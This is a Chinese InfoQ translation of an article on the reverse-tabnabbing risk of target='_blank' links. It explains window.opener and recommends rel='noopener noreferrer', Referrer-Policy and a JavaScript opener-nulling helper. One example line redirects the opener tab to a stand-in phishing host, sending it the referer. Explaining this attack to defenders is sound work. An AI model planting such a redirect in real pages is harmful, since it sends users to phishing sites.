target = “_ blank”背后的隐藏漏洞

2020 年 8 月 24 日

target = “_ blank”背后的隐藏漏洞

通常,在网页中使用链接时,如果希望浏览器在新选项卡中打开指定的 URL,就会在 a 标记上添加属性 target = “_blank”。


但也恰恰是这个属性为网络钓鱼攻击者提供了可趁之机。


基础知识


parent 和 opener


在谈论 opener 之前,让我们首先看一下<iframe>中的 parent。


我们知道,用于父子页面交互的对象通常是在<iframe>中提供的,这个对象就是 window.parent。我们可以通过 window.parent 对象从 iframe 的页面中访问父页面的 window 对象。


opener 与 parent 一样,但它只用于通过<a target="_blank">在新标签页中打开页面。你可以直接使用 window.opener 从通过<a target="_blank">打开的页面中访问源页面的 window 对象。


同域和跨域


浏览器提供了完整的跨域保护功能。当域名相同时,parent 对象和 opener 对象都是父页面的 window 对象。当域名不同时,parent 和 opener 是 global 对象。这个 global 对象只提供对属性的非常有限的访问,而且不允许访问大多数属性(如果尝试访问它们将直接抛出 DOMException)。




<iframe>中,提供了一个 sandbox 属性来控制 iframe 中页面的权限,因此即使在同一个域中,也可以控制<iframe>的安全性。


如何利用漏洞


如果你的网站上有一个使用 target = “_ blank”的链接,一旦用户点击该链接并进入新标签页,如果新标签页的网页上有恶意代码,用户将直接被导航到虚假网站。这个时候,如果用户返回到你的标签页,他们将看到已被替换的页面。


步骤


1.你的网站https://example.com上有一个链接:


<a href="https://an.evil.site" target="_blank">Enter an "evil" website</a>
复制代码


2.用户单击这个链接,并在新选项卡上打开新页面。网站可以通过 HTTP 标头中的 Referer 属性确定用户的来源。


并且网页中包含类似这样的 JavaScript 代码:


const url = encodeURIComponent('{{header.referer}}');window.opener.location.replace('https://a.fake.site/?' + url);
复制代码


3.现在,用户继续浏览新选项卡,而原始的选项卡已导航到https://a.fake.site/?https%3A%2F%2Fexample.com%2F


4.恶意网站https://a.fake.site根据查询字符串伪造了一个用于欺骗用户的页面(你也可以在此期间再次跳转,让浏览器地址栏中的地址看起来更令人困惑)。


5.用户关闭https://an.evil.site选项卡,并返回原始网站,但你会发现根本回不去了。


上述攻击步骤在跨域的场景中有效。因为在跨域时,opener 对象与 parent 对象是一样的,两者都受到了限制,都只提供非常有限的访问属性。而在仅有的少数属性中,大多数都不允许被访问(如果试图访问它们将直接抛出 DOMException)。


但在跨域的场景中,opener 仍然可以调用 location.replace 方法,而 parent 则不能。


如果是在同一个域中(例如网站上的页面嵌入了恶意代码),情况会严重得多。


如何防御


<iframe>提供了 sandbox 属性,你可以通过以下方式来使用链接:


1.Referrer Policy 和 noreferrer


在上述攻击步骤中,HTTP 标头中包含了 Referer 属性。实际上,你可以将 Referrer Policy 添加到 HTTP 的响应标头中来保护链接源的隐私。


你需要通过修改后端代码来实现 Referrer Policy。在前端,你还可以通过将<a>标签的 rel 属性指定为“noreferrer”来确保链接源的隐私。


<a href="https://an.evil.site" target="_blank" rel="noreferrer">Enter an "evil" website</a>
复制代码


不过,需要注意的是,即使你限制了 referer 的传递,仍然无法防止原始页面被恶意重定向。


2.noopener


出于安全方面的考虑,现代浏览器允许将<a>标签的 rel 属性指定为“noopener”,因此在打开的新选项卡中,opener 对象将不再可用,因为它已被设置为 null。


<a href="https://an.evil.site" target="_blank" rel="noopener">Enter an "evil" website</a>
复制代码


3.JavaScript


noopener 属性似乎解决了所有问题,但你仍然需要考虑浏览器的兼容性问题。



如你所见,大多数浏览器现在都支持 rel = “noopener”。但是,对于那些稍微陈旧一点的浏览器和古老的浏览器,只有 noopener 属性是不够的。


因此,你必须使用以下这样的 JavaScript 代码。


"use strict";function openUrl(url) {  var newTab = window.open();  newTab.opener = null;  newTab.location = url;}
复制代码


最好的建议


首先,如果你的网站链接使用了 target = “_ blank”,那么也应该将 rel = “noopener”添加链接中(建议也添加 rel = “noreferrer”)。例如:


<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">Enter an "evil" website</a>
复制代码


当然,当跳转到第三方网站时,可以为了 SEO 添加 rel = “nofollow”,所以最终会像这样:


<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">Enter an "evil" website</a>
复制代码


性能


最后,我们来谈谈性能问题。


如果网站使用了<a target="_blank">,则新打开的选项卡的性能将影响当前页面。这个时候,如果在新打开的页面中执行非常臃肿的 JavaScript 脚本,原始选项卡将受到影响,并且会出现停滞现象(当然,它不会卡住)。


如果将 noopener 添加到链接中,则两个选项卡不会相互干扰,因此原始页面的性能不会受到新页面的影响。


英文原文


The Hidden Dangers You Have Never Noticed: target = “_blank” and “opener”


2020 年 8 月 24 日 10:271430
用户头像
小智 InfoQ 主编

发布了 395 篇内容, 共 306.9 次阅读, 收获喜欢 1709 次。

关注

评论 1 条评论

发布
用户头像
注意:在Chrome78最近的几个版本,如果A、B页面跨域,A页面中打开B页面,在B页面使用console.log在控制台打印window.opener会报跨域的错误。
2020 年 08 月 24 日 15:20
回复
没有更多评论了
发现更多内容

Libra教程之:Transaction的生命周期

程序那些事

区块链 libra blockchain transaction

week1 homework 2

宋琢

直播 | 即将发版的 Flink 1.11 有哪些重大变更?

Apache Flink

大数据 flink 流计算 大数据处理

大数据的下一站是什么?服务/分析一体化(HSAP)

Apache Flink

大数据 flink 流计算 实时计算 大数据处理

数据科学的门槛将提高,架构设计UML,John 易筋 ARTS打卡Week 04

John(易筋)

架构设计 ARTS 打卡计划 ARTS活动 arts

MongoDB与微服务

Thomas

微服务 mongo

架构师训练营--第二周学习总结

花花大脸猫

极客大学架构师训练营

Go: 内存管理和分配

陈思敏捷

go golang 内存管理

Go之如何操作结构体的非导出字段

newbmiao

golang reflect newat unexport

架构师训练营第 0 期第 2 周学习总结

茴字🈶四种写法💋

极客大学架构师训练营

ARTS打卡 第1周

Scotty

ARTS 打卡计划

学习总结-第2周

饶军

周末直播|Flink、Hologres、AI等热门话题全都安排!

Apache Flink

大数据 flink 流计算 大数据处理

架构师之路-UML 入门

闻人

学习 架构设计 极客大学架构师训练营 架构总结

架构师训练营第二周课后作业

Cloud.

极客大学架构师训练营

架构师训练营第 0 期第 2 周作业

茴字🈶四种写法💋

极客大学架构师训练营

分布式锁的几种实现方式

Hollis

Java 分布式 并发编程 分布式锁

架构师训练营第二章作业

张明森

「架构师训练营」第2周作业

Amy

极客大学架构师训练营 作业

呢喃/ NN 4044

ZoomQuiet大妈

大妈 是也乎 IMHO 呢喃 今日

架构师面试题(1)

满山李子

ARTS|Week 03 (2020第24周)

MiracleWong

数据结构 算法 ARTS 打卡计划

【架构师训练营 - 作业 -2】依赖倒置

小动物

极客大学架构师训练营 作业

架构师训练营 - 第二周 - 学习总结

stardust20

架构师训练营--第二周作业

花花大脸猫

极客大学架构师训练营

week1 homeweok 1

宋琢

游戏夜读 | 玩游戏为什么开心?

game1night

DQTOEKN引领数字金融新蜕变

Geek_116789

架构师训练营第二周总结

Cloud.

架构师训练营-- 第二周作业

stardust20

架构师训练营第二章作业

饶军

target = “_ blank”背后的隐藏漏洞-InfoQ